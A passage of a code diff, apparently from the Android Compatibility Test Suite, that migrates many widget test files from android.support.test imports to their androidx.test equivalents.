+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/GridLayoutTest.java b/tests/tests/widget/src/android/widget/cts/GridLayoutTest.java
index 4924407..b16cac3 100644
--- a/tests/tests/widget/src/android/widget/cts/GridLayoutTest.java
+++ b/tests/tests/widget/src/android/widget/cts/GridLayoutTest.java
@@ -24,10 +24,6 @@
import android.app.Activity;
import android.content.Context;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.Gravity;
@@ -38,6 +34,11 @@
import android.widget.GridLayout;
import android.widget.TextView;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/GridViewTest.java b/tests/tests/widget/src/android/widget/cts/GridViewTest.java
index 189a0c9..6232e9d 100644
--- a/tests/tests/widget/src/android/widget/cts/GridViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/GridViewTest.java
@@ -38,13 +38,6 @@
import android.database.DataSetObservable;
import android.database.DataSetObserver;
import android.graphics.Rect;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.test.ViewAsserts;
import android.util.AttributeSet;
import android.util.Xml;
@@ -61,6 +54,14 @@
import android.widget.ImageView;
import android.widget.ListAdapter;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsKeyEventUtil;
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.WidgetTestUtils;
diff --git a/tests/tests/widget/src/android/widget/cts/HeaderViewListAdapterTest.java b/tests/tests/widget/src/android/widget/cts/HeaderViewListAdapterTest.java
index dcfd7d2..b87e5d4 100644
--- a/tests/tests/widget/src/android/widget/cts/HeaderViewListAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/HeaderViewListAdapterTest.java
@@ -25,10 +25,6 @@
import android.content.Context;
import android.database.DataSetObserver;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.View;
import android.view.ViewGroup;
import android.widget.AdapterView;
@@ -38,6 +34,11 @@
import android.widget.ListAdapter;
import android.widget.ListView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewTest.java b/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewTest.java
index 88aa357..9f22e77 100644
--- a/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/HorizontalScrollViewTest.java
@@ -29,11 +29,6 @@
import android.app.Instrumentation;
import android.content.Context;
import android.graphics.Rect;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.View;
@@ -43,6 +38,12 @@
import android.widget.HorizontalScrollView;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.WidgetTestUtils;
diff --git a/tests/tests/widget/src/android/widget/cts/ImageButtonTest.java b/tests/tests/widget/src/android/widget/cts/ImageButtonTest.java
index c433be6..7df37fd 100644
--- a/tests/tests/widget/src/android/widget/cts/ImageButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ImageButtonTest.java
@@ -19,13 +19,14 @@
import android.app.Activity;
import android.graphics.Color;
import android.graphics.drawable.Drawable;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.widget.ImageButton;
import android.widget.cts.util.TestUtils;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/ImageSwitcherTest.java b/tests/tests/widget/src/android/widget/cts/ImageSwitcherTest.java
index ea79796..69f7d08 100644
--- a/tests/tests/widget/src/android/widget/cts/ImageSwitcherTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ImageSwitcherTest.java
@@ -28,15 +28,16 @@
import android.graphics.drawable.BitmapDrawable;
import android.graphics.drawable.Drawable;
import android.net.Uri;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.widget.ImageSwitcher;
import android.widget.ImageView;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/ImageViewTest.java b/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
index 5476b22..c4d1f32 100644
--- a/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
@@ -49,16 +49,17 @@
import android.graphics.drawable.Icon;
import android.graphics.drawable.PaintDrawable;
import android.net.Uri;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.widget.ImageView;
import android.widget.ImageView.ScaleType;
import android.widget.cts.util.TestUtils;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/LayoutDirectionTest.java b/tests/tests/widget/src/android/widget/cts/LayoutDirectionTest.java
index 76c2ef6..027e8bd 100644
--- a/tests/tests/widget/src/android/widget/cts/LayoutDirectionTest.java
+++ b/tests/tests/widget/src/android/widget/cts/LayoutDirectionTest.java
@@ -24,10 +24,6 @@
import static org.junit.Assert.assertEquals;
import android.app.Activity;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.ViewGroup;
import android.widget.FrameLayout;
import android.widget.GridLayout;
@@ -35,6 +31,11 @@
import android.widget.RelativeLayout;
import android.widget.TableLayout;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/LinearLayoutTest.java b/tests/tests/widget/src/android/widget/cts/LinearLayoutTest.java
index e552877..1f3f0e8 100644
--- a/tests/tests/widget/src/android/widget/cts/LinearLayoutTest.java
+++ b/tests/tests/widget/src/android/widget/cts/LinearLayoutTest.java
@@ -30,13 +30,6 @@
import android.graphics.Color;
import android.graphics.Rect;
import android.graphics.drawable.Drawable;
-import androidx.annotation.ColorInt;
-import androidx.annotation.Nullable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.test.ViewAsserts;
import android.util.AttributeSet;
import android.util.Xml;
@@ -52,6 +45,14 @@
import android.widget.TextView;
import android.widget.cts.util.TestUtils;
+import androidx.annotation.ColorInt;
+import androidx.annotation.Nullable;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/LinearLayout_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/LinearLayout_LayoutParamsTest.java
index 751caef..54513de 100644
--- a/tests/tests/widget/src/android/widget/cts/LinearLayout_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/LinearLayout_LayoutParamsTest.java
@@ -21,15 +21,16 @@
import android.content.Context;
import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.view.Gravity;
import android.view.ViewGroup.LayoutParams;
import android.view.ViewGroup.MarginLayoutParams;
import android.widget.LinearLayout;
import android.widget.cts.util.XmlUtils;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
import org.xmlpull.v1.XmlPullParserException;
diff --git a/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java
index 88f3450..a1bc0aa 100644
--- a/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ListPopupWindowTest.java
@@ -40,10 +40,6 @@
import android.graphics.drawable.ColorDrawable;
import android.graphics.drawable.Drawable;
import android.platform.test.annotations.Presubmit;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.Display;
import android.view.Gravity;
import android.view.KeyEvent;
@@ -59,6 +55,11 @@
import android.widget.PopupWindow;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsKeyEventUtil;
import com.android.compatibility.common.util.CtsTouchUtils;
import com.android.compatibility.common.util.WidgetTestUtils;
diff --git a/tests/tests/widget/src/android/widget/cts/ListViewTest.java b/tests/tests/widget/src/android/widget/cts/ListViewTest.java
index d97c66e..f1f5583 100644
--- a/tests/tests/widget/src/android/widget/cts/ListViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ListViewTest.java
@@ -45,13 +45,6 @@
import android.graphics.drawable.ColorDrawable;
import android.graphics.drawable.Drawable;
import android.os.Parcelable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Pair;
import android.util.SparseArray;
@@ -70,6 +63,14 @@
import android.widget.TextView;
import android.widget.cts.util.TestUtils;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsKeyEventUtil;
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.WidgetTestUtils;
diff --git a/tests/tests/widget/src/android/widget/cts/MagnifierTest.java b/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
index 0ab086c..29b536b 100644
--- a/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
+++ b/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
@@ -25,16 +25,17 @@
import android.graphics.Bitmap;
import android.graphics.PointF;
import android.graphics.Rect;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.DisplayMetrics;
import android.view.View;
import android.widget.LinearLayout;
import android.widget.LinearLayout.LayoutParams;
import android.widget.Magnifier;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import com.android.compatibility.common.util.WidgetTestUtils;
diff --git a/tests/tests/widget/src/android/widget/cts/MediaControllerTest.java b/tests/tests/widget/src/android/widget/cts/MediaControllerTest.java
index 386c3d9..a99f21d 100644
--- a/tests/tests/widget/src/android/widget/cts/MediaControllerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/MediaControllerTest.java
@@ -24,11 +24,6 @@
import android.app.Activity;
import android.app.Instrumentation;
import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.MotionEvent;
@@ -36,6 +31,12 @@
import android.widget.MediaController;
import android.widget.VideoView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.PollingCheck;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextViewTest.java b/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextViewTest.java
index 4075a83..d89c43b 100644
--- a/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextViewTest.java
@@ -26,10 +26,6 @@
import android.app.Activity;
import android.content.Context;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.text.SpannableString;
import android.text.Spanned;
import android.text.TextUtils;
@@ -41,6 +37,11 @@
import android.widget.MultiAutoCompleteTextView.CommaTokenizer;
import android.widget.MultiAutoCompleteTextView.Tokenizer;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextView_CommaTokenizerTest.java b/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextView_CommaTokenizerTest.java
index ba467e4..ea055cf 100644
--- a/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextView_CommaTokenizerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/MultiAutoCompleteTextView_CommaTokenizerTest.java
@@ -18,13 +18,14 @@
import static org.junit.Assert.assertEquals;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.text.SpannableString;
import android.text.Spanned;
import android.text.style.UnderlineSpan;
import android.widget.MultiAutoCompleteTextView;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
index 7392c99..4cc5ec6 100644
--- a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
@@ -30,16 +30,17 @@
import android.app.Instrumentation;
import android.app.UiAutomation;
import android.content.res.Configuration;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.FlakyTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextUtils;
import android.view.accessibility.AccessibilityEvent;
import android.widget.NumberPicker;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsTouchUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/PointerIconTest.java b/tests/tests/widget/src/android/widget/cts/PointerIconTest.java
index 13b81b0..430e80c 100644
--- a/tests/tests/widget/src/android/widget/cts/PointerIconTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PointerIconTest.java
@@ -19,10 +19,6 @@
import static org.junit.Assert.assertEquals;
import android.app.Activity;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.MotionEvent;
import android.view.PointerIcon;
import android.view.View;
@@ -30,6 +26,11 @@
import android.widget.TabWidget;
import android.widget.TextView;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java b/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
index e76382e..69411c9 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
@@ -29,11 +29,6 @@
import android.app.Activity;
import android.app.Instrumentation;
import android.content.res.Resources;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.Gravity;
import android.view.Menu;
import android.view.MenuInflater;
@@ -45,6 +40,12 @@
import android.widget.ListView;
import android.widget.PopupMenu;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsTouchUtils;
import com.android.compatibility.common.util.WidgetTestUtils;
diff --git a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
index 2c483d7..923f522 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
@@ -40,12 +40,6 @@
import android.graphics.drawable.ColorDrawable;
import android.graphics.drawable.Drawable;
import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.FlakyTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.transition.Transition;
import android.transition.Transition.TransitionListener;
import android.transition.TransitionValues;
@@ -65,6 +59,13 @@
import android.widget.PopupWindow.OnDismissListener;
import android.widget.TextView;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.WidgetTestUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/ProgressBarDrawableContainerTest.java b/tests/tests/widget/src/android/widget/cts/ProgressBarDrawableContainerTest.java
index 2acf8ecd..04ac5b2 100644
--- a/tests/tests/widget/src/android/widget/cts/ProgressBarDrawableContainerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ProgressBarDrawableContainerTest.java
@@ -20,12 +20,13 @@
import android.app.Activity;
import android.graphics.drawable.DrawableContainer;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.widget.ProgressBar;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/ProgressBarTest.java b/tests/tests/widget/src/android/widget/cts/ProgressBarTest.java
index 5a68273..ce4d4a3 100644
--- a/tests/tests/widget/src/android/widget/cts/ProgressBarTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ProgressBarTest.java
@@ -38,10 +38,6 @@
import android.graphics.drawable.ColorDrawable;
import android.graphics.drawable.Drawable;
import android.os.Parcelable;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.view.View;
import android.view.animation.AccelerateDecelerateInterpolator;
@@ -51,6 +47,11 @@
import android.widget.ProgressBar;
import android.widget.cts.util.TestUtils;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/QuickContactBadgeTest.java b/tests/tests/widget/src/android/widget/cts/QuickContactBadgeTest.java
index 0bec808..96a29f73 100644
--- a/tests/tests/widget/src/android/widget/cts/QuickContactBadgeTest.java
+++ b/tests/tests/widget/src/android/widget/cts/QuickContactBadgeTest.java
@@ -28,12 +28,13 @@
import android.os.UserHandle;
import android.provider.ContactsContract;
import android.provider.ContactsContract.Contacts;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.widget.QuickContactBadge;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java b/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java
index 2daa6ea..1ba68b1 100644
--- a/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RadioButtonTest.java
@@ -26,14 +26,15 @@
import android.app.Activity;
import android.app.Instrumentation;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.text.TextUtils;
import android.widget.RadioButton;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.CtsTouchUtils;
import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/RadioGroupTest.java b/tests/tests/widget/src/android/widget/cts/RadioGroupTest.java
index 869102b..74852c5 100644
--- a/tests/tests/widget/src/android/widget/cts/RadioGroupTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RadioGroupTest.java
@@ -25,10 +25,6 @@
import android.app.Activity;
import android.content.Context;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.Gravity;
@@ -42,6 +38,11 @@
import android.widget.RadioGroup.OnCheckedChangeListener;
import android.widget.RelativeLayout;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/RadioGroup_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/RadioGroup_LayoutParamsTest.java
index d7aecfd..2d6804e 100644
--- a/tests/tests/widget/src/android/widget/cts/RadioGroup_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RadioGroup_LayoutParamsTest.java
@@ -22,15 +22,16 @@
import android.content.Context;
import android.content.res.TypedArray;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
import android.util.AttributeSet;
import android.util.Xml;
import android.view.Gravity;
import android.view.ViewGroup;
import android.widget.RadioGroup;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/tests/tests/widget/src/android/widget/cts/RatingBarTest.java b/tests/tests/widget/src/android/widget/cts/RatingBarTest.java
index 0725c10..10f2582 100644
--- a/tests/tests/widget/src/android/widget/cts/RatingBarTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RatingBarTest.java
@@ -27,12 +27,13 @@
import static org.mockito.Mockito.verifyNoMoreInteractions;
import static org.mockito.Mockito.verifyZeroInteractions;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.widget.RatingBar;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/RelativeLayoutTest.java b/tests/tests/widget/src/android/widget/cts/RelativeLayoutTest.java
index 76415e8..94f0046 100644
--- a/tests/tests/widget/src/android/widget/cts/RelativeLayoutTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RelativeLayoutTest.java
@@ -25,10 +25,6 @@
import android.app.Instrumentation;
import android.content.Context;
import android.content.res.XmlResourceParser;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.test.ViewAsserts;
import android.util.AttributeSet;
import android.util.Xml;
@@ -40,6 +36,11 @@
import android.widget.RelativeLayout;
import android.widget.cts.util.XmlUtils;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/RelativeLayout_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/RelativeLayout_LayoutParamsTest.java
index 9de034b..bfcc73f 100644
--- a/tests/tests/widget/src/android/widget/cts/RelativeLayout_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RelativeLayout_LayoutParamsTest.java
@@ -21,9 +21,6 @@
import android.app.Activity;
import android.content.res.XmlResourceParser;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.test.ViewAsserts;
import android.util.LayoutDirection;
import android.view.View;
@@ -32,6 +29,10 @@
import android.widget.RelativeLayout;
import android.widget.cts.util.XmlUtils;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import org.junit.Before;
import org.junit.Rule;
import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsActivityTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsActivityTest.java
index 5c92e66..ded1893 100644
--- a/tests/tests/widget/src/android/widget/cts/RemoteViewsActivityTest.java
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsActivityTest.java
@@ -21,14 +21,15 @@
import android.app.Activity;
import android.os.Parcel;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
import android.view.InflateException;
import android.view.View;
import android.view.ViewGroup;
import android.widget.RemoteViews;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.NullWebViewUtils;
